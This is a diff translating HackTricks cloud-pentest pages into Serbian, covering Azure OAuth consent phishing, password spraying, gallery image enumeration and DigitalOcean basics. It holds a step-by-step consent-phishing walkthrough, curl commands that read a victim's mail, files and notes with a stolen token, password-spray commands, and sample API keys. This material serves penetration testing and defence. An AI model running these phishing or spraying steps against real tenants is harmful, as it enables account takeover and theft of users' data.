- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
|
||||
|
||||
It's possible to find the meaning of each of the commented policies in:
|
||||
|
||||
Moguće je pronaći značenje svake od komentarisane politika u:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
|
||||
```
|
||||
### **Administratori aplikacija**
|
||||
|
||||
### **Application Admins**
|
||||
|
||||
Check users that are considered application admins (can accept new applications):
|
||||
|
||||
Proverite korisnike koji se smatraju administratorima aplikacija (mogu prihvatiti nove aplikacije):
|
||||
```bash
|
||||
# Get list of roles
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
@@ -62,94 +57,85 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
```
|
||||
## **Pregled Tokova Napada**
|
||||
|
||||
## **Attack Flow Overview**
|
||||
Napad uključuje nekoliko koraka usmerenih na generičku kompaniju. Evo kako bi to moglo da se odvija:
|
||||
|
||||
The attack involves several steps targeting a generic company. Here's how it might unfold:
|
||||
1. **Registracija Domen i Hosting Aplikacije**: Napadač registruje domen koji podseća na pouzdanu stranicu, na primer, "safedomainlogin.com". Pod ovim domenom, kreira se poddomen (npr. "companyname.safedomainlogin.com") za hosting aplikacije dizajnirane da prikupi autorizacione kodove i zatraži pristupne tokene.
|
||||
2. **Registracija Aplikacije u Azure AD**: Napadač zatim registruje Multi-Tenant Aplikaciju u svom Azure AD Tenant-u, nazivajući je po ciljanom preduzeću kako bi izgledala legitimno. Konfiguriše URL za preusmeravanje aplikacije da upućuje na poddomen koji hostuje zlonamernu aplikaciju.
|
||||
3. **Postavljanje Dozvola**: Napadač postavlja aplikaciju sa raznim API dozvolama (npr. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). Ove dozvole, kada ih korisnik odobri, omogućavaju napadaču da izvuče osetljive informacije u ime korisnika.
|
||||
4. **Distribucija Zlonamernih Linkova**: Napadač kreira link koji sadrži ID klijenta zlonamerne aplikacije i deli ga sa ciljnim korisnicima, obmanjujući ih da daju saglasnost.
|
||||
|
||||
1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
|
||||
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
|
||||
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
|
||||
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.
|
||||
## Primer Napada
|
||||
|
||||
## Example Attack
|
||||
|
||||
1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
|
||||
1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
|
||||
1. Registrujte **novu aplikaciju**. Može biti samo za trenutni direktorijum ako koristite korisnika iz napadnutog direktorijuma ili za bilo koji direktorijum ako je ovo spoljašnji napad (kao na sledećoj slici).
|
||||
1. Takođe postavite **redirect URI** na očekivani URL gde želite da primite kod za dobijanje tokena (`http://localhost:8000/callback` po defaultu).
|
||||
|
||||
<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Then create an application secret:
|
||||
2. Zatim kreirajte tajnu aplikacije:
|
||||
|
||||
<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
|
||||
3. Izaberite API dozvole (npr. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`)
|
||||
|
||||
<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
|
||||
|
||||
4. **Izvršite veb stranicu (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** koja traži dozvole:
|
||||
```bash
|
||||
# From https://github.com/carlospolop/azure_oauth_phishing_example
|
||||
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
|
||||
```
|
||||
|
||||
5. **Send the URL to the victim**
|
||||
1. In this case `http://localhost:8000`
|
||||
6. **Victims** needs to **accept the prompt:**
|
||||
5. **Pošaljite URL žrtvi**
|
||||
1. U ovom slučaju `http://localhost:8000`
|
||||
6. **Žrtve** treba da **prihvate obaveštenje:**
|
||||
|
||||
<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
7. Use the **access token to access the requested permissions**:
|
||||
|
||||
7. Koristite **pristupni token za pristup traženim dozvolama**:
|
||||
```bash
|
||||
export ACCESS_TOKEN=<ACCESS_TOKEN>
|
||||
|
||||
# List drive files
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List eails
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List notes
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
```
|
||||
## Ostali alati
|
||||
|
||||
## Other Tools
|
||||
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Pogledajte [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) da biste saznali kako da ga konfigurišete.
|
||||
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
|
||||
|
||||
## Post-Exploitation
|
||||
## Post-eksploatacija
|
||||
|
||||
### Phishing Post-Exploitation
|
||||
### Phishing post-eksploatacija
|
||||
|
||||
Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use this permissions to perform those actions.
|
||||
U zavisnosti od traženih dozvola, možda ćete moći da **pristupite različitim podacima o korisniku** (lista korisnika, grupa... ili čak da modifikujete podešavanja) i **informacijama o korisniku** (fajlovi, beleške, e-mailovi...). Zatim, možete koristiti ove dozvole da izvršite te radnje.
|
||||
|
||||
### Application Post Exploitation
|
||||
### Post-eksploatacija aplikacija
|
||||
|
||||
Check the Applications and Service Principal sections of the page:
|
||||
Pogledajte sekcije Aplikacije i Servisni Principal na stranici:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
|
||||
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,25 +4,20 @@
|
||||
|
||||
## Password Spray
|
||||
|
||||
In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
|
||||
U **Azure** ovo se može uraditi protiv **različitih API krajnjih tačaka** kao što su Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, itd.
|
||||
|
||||
However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
|
||||
|
||||
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
Međutim, imajte na umu da je ova tehnika **veoma bučna** i Blue Team može **lako da je uhvati**. Štaviše, **prinudna složenost lozinke** i korišćenje **MFA** mogu učiniti ovu tehniku prilično beskorisnom.
|
||||
|
||||
Možete izvršiti napad password spray sa [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
```powershell
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
|
||||
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
|
||||
Ili sa [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
```bash
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
|
||||
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
|
||||
Ili sa [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
```powershell
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
@@ -31,9 +26,4 @@ Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -
|
||||
#Gmail
|
||||
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,21 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Virtual Machines
|
||||
## Virtuelne mašine
|
||||
|
||||
For more info about Azure Virtual Machines check:
|
||||
Za više informacija o Azure virtuelnim mašinama pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Exposed vulnerable service
|
||||
### Izložena ranjiva usluga
|
||||
|
||||
A network service that is vulnerable to some RCE.
|
||||
Mrežna usluga koja je ranjiva na neki RCE.
|
||||
|
||||
### Public Gallery Images
|
||||
|
||||
A public image might have secrets inside of it:
|
||||
### Javne galerijske slike
|
||||
|
||||
Javna slika može sadržati tajne unutra:
|
||||
```bash
|
||||
# List all community galleries
|
||||
az sig list-community --output table
|
||||
@@ -25,11 +24,9 @@ az sig list-community --output table
|
||||
# Search by publisherUri
|
||||
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
|
||||
```
|
||||
### Javni Ekstenzije
|
||||
|
||||
### Public Extensions
|
||||
|
||||
This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
|
||||
|
||||
Ovo bi bilo čudnije, ali ne i nemoguće. Velika kompanija bi mogla staviti ekstenziju sa osetljivim podacima unutar nje:
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
@@ -37,9 +34,4 @@ az vm extension image list --output table
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
**Before start pentesting** a Digital Ocean environment there are a few **basics things you need to know** about how DO works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Pre nego što započnete pentesting** Digital Ocean okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako DO funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
|
||||
|
||||
Concepts such as hierarchy, access and other basic concepts are explained in:
|
||||
Koncepti kao što su hijerarhija, pristup i drugi osnovni koncepti su objašnjeni u:
|
||||
|
||||
{{#ref}}
|
||||
do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Basic Enumeration
|
||||
## Osnovna Enumeracija
|
||||
|
||||
### SSRF
|
||||
|
||||
@@ -20,28 +20,22 @@ do-basic-information.md
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
{{#endref}}
|
||||
|
||||
### Projects
|
||||
### Projekti
|
||||
|
||||
To get a list of the projects and resources running on each of them from the CLI check:
|
||||
Da biste dobili listu projekata i resursa koji se nalaze na svakom od njih iz CLI, proverite:
|
||||
|
||||
{{#ref}}
|
||||
do-services/do-projects.md
|
||||
{{#endref}}
|
||||
|
||||
### Whoami
|
||||
|
||||
```bash
|
||||
doctl account get
|
||||
```
|
||||
|
||||
## Services Enumeration
|
||||
## Usluge Enumeracija
|
||||
|
||||
{{#ref}}
|
||||
do-services/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,139 +1,127 @@
|
||||
# DO - Basic Information
|
||||
# DO - Osnovne informacije
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean is a **cloud computing platform that provides users with a variety of services**, including virtual private servers (VPS) and other resources for building, deploying, and managing applications. **DigitalOcean's services are designed to be simple and easy to use**, making them **popular among developers and small businesses**.
|
||||
DigitalOcean je **platforma za cloud računarstvo koja korisnicima pruža razne usluge**, uključujući virtuelne privatne servere (VPS) i druge resurse za izgradnju, implementaciju i upravljanje aplikacijama. **Usluge DigitalOcean-a su dizajnirane da budu jednostavne i lake za korišćenje**, što ih čini **popularnim među programerima i malim preduzećima**.
|
||||
|
||||
Some of the key features of DigitalOcean include:
|
||||
Neke od ključnih karakteristika DigitalOcean-a uključuju:
|
||||
|
||||
- **Virtual private servers (VPS)**: DigitalOcean provides VPS that can be used to host websites and applications. These VPS are known for their simplicity and ease of use, and can be quickly and easily deployed using a variety of pre-built "droplets" or custom configurations.
|
||||
- **Storage**: DigitalOcean offers a range of storage options, including object storage, block storage, and managed databases, that can be used to store and manage data for websites and applications.
|
||||
- **Development and deployment tools**: DigitalOcean provides a range of tools that can be used to build, deploy, and manage applications, including APIs and pre-built droplets.
|
||||
- **Security**: DigitalOcean places a strong emphasis on security, and offers a range of tools and features to help users keep their data and applications safe. This includes encryption, backups, and other security measures.
|
||||
- **Virtuelni privatni serveri (VPS)**: DigitalOcean pruža VPS koji se mogu koristiti za hostovanje veb sajtova i aplikacija. Ovi VPS su poznati po svojoj jednostavnosti i lakoći korišćenja, i mogu se brzo i lako implementirati koristeći razne unapred pripremljene "droplete" ili prilagođene konfiguracije.
|
||||
- **Skladištenje**: DigitalOcean nudi niz opcija za skladištenje, uključujući objektno skladištenje, blok skladištenje i upravljane baze podataka, koje se mogu koristiti za skladištenje i upravljanje podacima za veb sajtove i aplikacije.
|
||||
- **Alati za razvoj i implementaciju**: DigitalOcean pruža niz alata koji se mogu koristiti za izgradnju, implementaciju i upravljanje aplikacijama, uključujući API-je i unapred pripremljene droplete.
|
||||
- **Bezbednost**: DigitalOcean stavlja veliki naglasak na bezbednost i nudi niz alata i karakteristika koje pomažu korisnicima da drže svoje podatke i aplikacije sigurnim. Ovo uključuje enkripciju, rezervne kopije i druge mere bezbednosti.
|
||||
|
||||
Overall, DigitalOcean is a cloud computing platform that provides users with the tools and resources they need to build, deploy, and manage applications in the cloud. Its services are designed to be simple and easy to use, making them popular among developers and small businesses.
|
||||
Sve u svemu, DigitalOcean je platforma za cloud računarstvo koja korisnicima pruža alate i resurse potrebne za izgradnju, implementaciju i upravljanje aplikacijama u cloudu. Njegove usluge su dizajnirane da budu jednostavne i lake za korišćenje, što ih čini popularnim među programerima i malim preduzećima.
|
||||
|
||||
### Main Differences from AWS
|
||||
### Glavne razlike u odnosu na AWS
|
||||
|
||||
One of the main differences between DigitalOcean and AWS is the **range of services they offer**. **DigitalOcean focuses on providing simple** and easy-to-use virtual private servers (VPS), storage, and development and deployment tools. **AWS**, on the other hand, offers a **much broader range of services**, including VPS, storage, databases, machine learning, analytics, and many other services. This means that AWS is more suitable for complex, enterprise-level applications, while DigitalOcean is more suited to small businesses and developers.
|
||||
Jedna od glavnih razlika između DigitalOcean-a i AWS-a je **raspon usluga koje nude**. **DigitalOcean se fokusira na pružanje jednostavnih** i lakih za korišćenje virtuelnih privatnih servera (VPS), skladištenja i alata za razvoj i implementaciju. **AWS**, s druge strane, nudi **mnogo širi spektar usluga**, uključujući VPS, skladištenje, baze podataka, mašinsko učenje, analitiku i mnoge druge usluge. To znači da je AWS pogodniji za složene, aplikacije na nivou preduzeća, dok je DigitalOcean više prilagođen malim preduzećima i programerima.
|
||||
|
||||
Another key difference between the two platforms is the **pricing structure**. **DigitalOcean's pricing is generally more straightforward and easier** to understand than AWS, with a range of pricing plans that are based on the number of droplets and other resources used. AWS, on the other hand, has a more complex pricing structure that is based on a variety of factors, including the type and amount of resources used. This can make it more difficult to predict costs when using AWS.
|
||||
Još jedna ključna razlika između dve platforme je **struktura cena**. **Cene DigitalOcean-a su generalno jednostavnije i lakše** za razumevanje od AWS-a, sa nizom planova cena koji se zasnivaju na broju dropleta i drugih korišćenih resursa. AWS, s druge strane, ima složeniju strukturu cena koja se zasniva na raznim faktorima, uključujući tip i količinu korišćenih resursa. Ovo može otežati predviđanje troškova prilikom korišćenja AWS-a.
|
||||
|
||||
## Hierarchy
|
||||
## Hijerarhija
|
||||
|
||||
### User
|
||||
### Korisnik
|
||||
|
||||
A user is what you expect, a user. He can **create Teams** and **be a member of different teams.**
|
||||
Korisnik je ono što očekujete, korisnik. On može **kreirati timove** i **biti član različitih timova.**
|
||||
|
||||
### **Team**
|
||||
### **Tim**
|
||||
|
||||
A team is a group of **users**. When a user creates a team he has the **role owner on that team** and he initially **sets up the billing info**. **Other** user can then be **invited** to the team.
|
||||
Tim je grupa **korisnika**. Kada korisnik kreira tim, on ima **ulogu vlasnika tog tima** i inicijalno **postavlja informacije o naplati**. **Ostali** korisnici mogu biti **pozvani** u tim.
|
||||
|
||||
Inside the team there might be several **projects**. A project is just a **set of services running**. It can be used to **separate different infra stages**, like prod, staging, dev...
|
||||
Unutar tima može biti nekoliko **projekata**. Projekat je samo **set usluga koje rade**. Može se koristiti za **odvajanje različitih faza infrastrukture**, kao što su prod, staging, dev...
|
||||
|
||||
### Project
|
||||
### Projekat
|
||||
|
||||
As explained, a project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
A Digital Ocean project is very similar to a GCP project without IAM.
|
||||
Kao što je objašnjeno, projekat je samo kontejner za sve **usluge** (droplete, prostore, baze podataka, kubernetes...) **koje rade zajedno unutar njega**.\
|
||||
Digital Ocean projekat je vrlo sličan GCP projektu bez IAM-a.
|
||||
|
||||
## Permissions
|
||||
## Dozvole
|
||||
|
||||
### Team
|
||||
### Tim
|
||||
|
||||
Basically all members of a team have **access to the DO resources in all the projects created within the team (with more or less privileges).**
|
||||
U suštini, svi članovi tima imaju **pristup DO resursima u svim projektima kreiranim unutar tima (sa više ili manje privilegija).**
|
||||
|
||||
### Roles
|
||||
### Uloge
|
||||
|
||||
Each **user inside a team** can have **one** of the following three **roles** inside of it:
|
||||
Svaki **korisnik unutar tima** može imati **jednu** od sledeće tri **uloge** unutar njega:
|
||||
|
||||
| Role | Shared Resources | Billing Information | Team Settings |
|
||||
| ---------- | ---------------- | ------------------- | ------------- |
|
||||
| **Owner** | Full access | Full access | Full access |
|
||||
| **Biller** | No access | Full access | No access |
|
||||
| **Member** | Full access | No access | No access |
|
||||
| Uloga | Deljeni resursi | Informacije o naplati | Podešavanja tima |
|
||||
| ---------- | ---------------- | --------------------- | ----------------- |
|
||||
| **Vlasnik**| Potpun pristup | Potpun pristup | Potpun pristup |
|
||||
| **Naplata**| Nema pristup | Potpun pristup | Nema pristup |
|
||||
| **Član** | Potpun pristup | Nema pristup | Nema pristup |
|
||||
|
||||
**Owner** and **member can list the users** and check their **roles** (biller cannot).
|
||||
**Vlasnik** i **član mogu da navedu korisnike** i provere njihove **uloge** (naplata ne može).
|
||||
|
||||
## Access
|
||||
## Pristup
|
||||
|
||||
### Username + password (MFA)
|
||||
### Korisničko ime + lozinka (MFA)
|
||||
|
||||
As in most of the platforms, in order to access to the GUI you can use a set of **valid username and password** to **access** the cloud **resources**. Once logged in you can see **all the teams you are part** of in [https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile).\
|
||||
And you can see all your activity in [https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity).
|
||||
Kao i na većini platformi, da biste pristupili GUI-u, možete koristiti set **važećeg korisničkog imena i lozinke** za **pristup** cloud **resursima**. Kada se prijavite, možete videti **sve timove čiji ste deo** na [https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile).\
|
||||
I možete videti sve svoje aktivnosti na [https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity).
|
||||
|
||||
**MFA** can be **enabled** in a user and **enforced** for all the users in a **team** to access the team.
|
||||
**MFA** može biti **omogućena** za korisnika i **nametnuta** za sve korisnike u **timu** da pristupe timu.
|
||||
|
||||
### API keys
|
||||
|
||||
In order to use the API, users can **generate API keys**. These will always come with Read permissions but **Write permission are optional**.\
|
||||
The API keys look like this:
|
||||
### API ključevi
|
||||
|
||||
Da bi koristili API, korisnici mogu **generisati API ključeve**. Ovi ključevi će uvek imati Read dozvole, ali su **Write dozvole opcione**.\
|
||||
API ključevi izgledaju ovako:
|
||||
```
|
||||
dop_v1_1946a92309d6240274519275875bb3cb03c1695f60d47eaa1532916502361836
|
||||
```
|
||||
|
||||
The cli tool is [**doctl**](https://github.com/digitalocean/doctl#installing-doctl). Initialise it (you need a token) with:
|
||||
|
||||
Alat za komandnu liniju je [**doctl**](https://github.com/digitalocean/doctl#installing-doctl). Inicijalizujte ga (potreban vam je token) sa:
|
||||
```bash
|
||||
doctl auth init # Asks for the token
|
||||
doctl auth init --context my-context # Login with a different token
|
||||
doctl auth list # List accounts
|
||||
```
|
||||
Podrazumevano, ovaj token će biti zapisan u čistom tekstu na Mac-u u `/Users/<username>/Library/Application Support/doctl/config.yaml`.
|
||||
|
||||
By default this token will be written in clear-text in Mac in `/Users/<username>/Library/Application Support/doctl/config.yaml`.
|
||||
### Ključevi za pristup Spaces
|
||||
|
||||
### Spaces access keys
|
||||
|
||||
These are keys that give **access to the Spaces** (like S3 in AWS or Storage in GCP).
|
||||
|
||||
They are composed by a **name**, a **keyid** and a **secret**. An example could be:
|
||||
Ovo su ključevi koji daju **pristup Spaces** (kao S3 u AWS-u ili Storage u GCP-u).
|
||||
|
||||
Sastoje se od **imena**, **keyid** i **secret**. Primer bi mogao biti:
|
||||
```
|
||||
Name: key-example
|
||||
Keyid: DO00ZW4FABSGZHAABGFX
|
||||
Secret: 2JJ0CcQZ56qeFzAJ5GFUeeR4Dckarsh6EQSLm87MKlM
|
||||
```
|
||||
|
||||
### OAuth Application
|
||||
|
||||
OAuth applications can be granted **access over Digital Ocean**.
|
||||
OAuth aplikacije mogu dobiti **pristup preko Digital Ocean**.
|
||||
|
||||
It's possible to **create OAuth applications** in [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) and check all **allowed OAuth applications** in [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access).
|
||||
Moguće je **kreirati OAuth aplikacije** na [https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications) i proveriti sve **dozvoljene OAuth aplikacije** na [https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access).
|
||||
|
||||
### SSH Keys
|
||||
|
||||
It's possible to add **SSH keys to a Digital Ocean Team** from the **console** in [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
|
||||
Moguće je dodati **SSH ključeve u Digital Ocean tim** iz **konsole** na [https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security).
|
||||
|
||||
This way, if you create a **new droplet, the SSH key will be set** on it and you will be able to **login via SSH** without password (note that newly [uploaded SSH keys aren't set in already existent droplets for security reasons](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
|
||||
Na ovaj način, ako kreirate **novi droplet, SSH ključ će biti postavljen** na njemu i moći ćete da **se prijavite putem SSH** bez lozinke (napomena: novi [otpremljeni SSH ključevi nisu postavljeni na već postojeće droplete iz bezbednosnih razloga](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/)).
|
||||
|
||||
### Functions Authentication Token
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
|
||||
Način **da se aktivira funkcija putem REST API** (uvek omogućeno, to je metoda koju koristi cli) je slanjem zahteva sa **tokenom za autentifikaciju** kao:
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
|
||||
## Logs
|
||||
|
||||
### User logs
|
||||
|
||||
The **logs of a user** can be found in [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
|
||||
**Logovi korisnika** se mogu pronaći na [**https://cloud.digitalocean.com/account/activity**](https://cloud.digitalocean.com/account/activity)
|
||||
|
||||
### Team logs
|
||||
|
||||
The **logs of a team** can be found in [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
|
||||
**Logovi tima** se mogu pronaći na [**https://cloud.digitalocean.com/account/security**](https://cloud.digitalocean.com/account/security)
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.digitalocean.com/products/teams/how-to/manage-membership/](https://docs.digitalocean.com/products/teams/how-to/manage-membership/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,7 @@
|
||||
# DO - Permissions for a Pentest
|
||||
# DO - Dozvole za Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
DO doesn't support granular permissions. So the **minimum role** that allows a user to review all the resources is **member**. A pentester with this permission will be able to perform harmful activities, but it's what it's.
|
||||
DO ne podržava granularne dozvole. Dakle, **minimalna uloga** koja omogućava korisniku da pregleda sve resurse je **član**. Pentester sa ovom dozvolom će moći da izvrši štetne aktivnosti, ali to je to.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,19 @@
|
||||
# DO - Services
|
||||
# DO - Usluge
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
DO offers a few services, here you can find how to **enumerate them:**
|
||||
DO nudi nekoliko usluga, ovde možete pronaći kako da **enumerišete njih:**
|
||||
|
||||
- [**Apps**](do-apps.md)
|
||||
- [**Container Registry**](do-container-registry.md)
|
||||
- [**Databases**](do-databases.md)
|
||||
- [**Droplets**](do-droplets.md)
|
||||
- [**Functions**](do-functions.md)
|
||||
- [**Images**](do-images.md)
|
||||
- [**Aplikacije**](do-apps.md)
|
||||
- [**Registri kontejnera**](do-container-registry.md)
|
||||
- [**Baze podataka**](do-databases.md)
|
||||
